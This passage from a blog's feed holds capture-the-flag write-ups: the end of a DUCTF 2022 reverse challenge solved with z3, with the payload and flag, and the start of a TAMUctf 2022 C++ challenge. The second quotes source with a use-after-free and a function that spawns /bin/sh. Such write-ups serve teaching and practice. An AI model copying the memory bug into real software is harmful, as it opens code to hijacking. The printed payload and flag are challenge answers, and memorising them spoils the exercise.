            orthodiag &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; y &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; size &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        orthodiag &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            orthodiag &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; size &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            orthodiag &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        orthodiag &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; size &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        orthodiag &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;# If this cell is 1 --&amp;gt; surrounding cells can&#39;t be one.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; od &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; orthodiag&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;add&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;z3&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Implies&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sym &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; inputs&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;index &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; od&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;And with that, we’ve defeated the four guards! Huzzah!&lt;/p&gt;
&lt;h3 id=&quot;the-final-touch&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2022-ezpz-rev/#the-final-touch&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Final Touch&lt;/h3&gt;
&lt;p&gt;All that’s left is to let z3 solve our constraints and generate concrete values for our symbols. We’ll push these concrete values into a &lt;code&gt;payload&lt;/code&gt; variable and print it out.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Construct payload.&lt;/span&gt;
payload &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt;
m &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;model&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; sym &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; inputs&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;m&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;eval&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;as_long&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;payload&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# 0101000000001000000101010000101000000001000000000101000110100000000100000010101000000100000000100100001010100000001000000010101000101000000000000000101010010101000000000000000001010100010101000000&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We obtained a z3 model from the solver by calling &lt;code&gt;s.model()&lt;/code&gt; and evaluated our symbols to produce concrete integer 1s and 0s by calling &lt;code&gt;m.eval(sym).as_long()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After feeding this to the server, we obtain the flag. Yippee!&lt;/p&gt;
&lt;p&gt;For an “easy” challenge, I definitely spent too much time on this. I wasted some time switching between a pure z3 logic solver and a full-blown angr solver, finding out angr was taking too long, and spamming Ctrl+Z. I could’ve spent this time sleeping instead. 😕&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;One of the difficulties of reverse is trying to understand both the high-level aspects and low-level aspects. Sometimes skimming through the program structure helps. Other times, getting deep into the nitty-gritty aspects may help us recognise some familiar elements. This challenge was a fun little exercise to practice these two approaches.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;solve-script&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2022-ezpz-rev/#solve-script&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Solve Script&lt;/h2&gt;
&lt;script src=&quot;https://gist.github.com/TrebledJ/81c30da2909c4a3767aa7ab52698fa8f.js&quot;&gt;&lt;/script&gt;
&lt;h2 id=&quot;flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2022-ezpz-rev/#flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Flag&lt;/h2&gt;
&lt;p&gt;Payload&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;0101000000001000000101010000101000000001000000000101000110100000000100000010101000000100000000100100001010100000001000000010101000101000000000000000101010010101000000000000000001010100010101000000&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Flag&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;DUCTF{gr1d_puzzl3s_ar3_t00_ez_r1ght?}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content>
        
          <category>ctf</category>
        
          <category>reverse</category>
        
          <category>python</category>
        
          <category>programming</category>
        
          <category>writeup</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>TAMUctf 2022 – CTF Sim</title>
        <description>Oops, your vpointer was redirected.</description>
        <link href="https://trebledj.me/posts/tamuctf-2022-ctf-sim/"/>
        <updated>2022-04-24T00:00:00Z</updated>
        <id>https://trebledj.me/posts/tamuctf-2022-ctf-sim/</id>
        <content xml:lang="en" type="html">&lt;h3 id=&quot;challenge-description&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-ctf-sim/#challenge-description&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Challenge Description&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Wanna take a break from the ctf to do another ctf?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;write-up&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-ctf-sim/#write-up&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Write-Up&lt;/h3&gt;
&lt;p&gt;Ooooh, a C++ challenge. And it&#39;s about CTFs. Seems like a fun little exercise.&lt;/p&gt;
&lt;h4 id=&quot;preliminary-observations-and-analysis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-ctf-sim/#preliminary-observations-and-analysis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Preliminary Observations and Analysis&lt;/h4&gt;
&lt;p&gt;We&#39;re provided a C++ file and its compiled ELF. Upon an initial browse through the source, we see something interesting:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; win_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;win&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;A &lt;code&gt;win&lt;/code&gt; function is already provided, along with a global variable &lt;code&gt;win_addr&lt;/code&gt; storing the address of &lt;code&gt;win&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now on to the fun stuff. We&#39;re given six classes with the &lt;code&gt;solve&lt;/code&gt; virtual function: one base class and the other five inheriting and overriding &lt;code&gt;solve&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;challenges&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;forensics&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token base-clause&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;challenges&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;reversing&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token base-clause&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;challenges&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token base-clause&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;challenges&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;web&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token base-clause&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;challenges&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;crypto&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token base-clause&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;challenges&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We then have three action functions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;downloadChallenge&lt;/code&gt;, which &lt;code&gt;new&lt;/code&gt;s one of the five derived classes,&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// -- Read choice, index from input. --&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;choice &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    downloaded&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; forensics&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;choice &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    downloaded&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; reversing&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    downloaded&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; crypto&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;solveChallenge&lt;/code&gt;, which selects a downloaded challenge, then calls &lt;code&gt;-&amp;gt;solve()&lt;/code&gt; and &lt;code&gt;delete&lt;/code&gt;s it,&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// -- Read index from input. --&lt;/span&gt;
downloaded&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;solve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;delete&lt;/span&gt; downloaded&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;and&lt;/li&gt;
&lt;li&gt;&lt;code&gt;submitWriteup&lt;/code&gt;, which calls &lt;code&gt;malloc&lt;/code&gt;s with custom size.&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// -- Read length from input. --&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; writeup &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
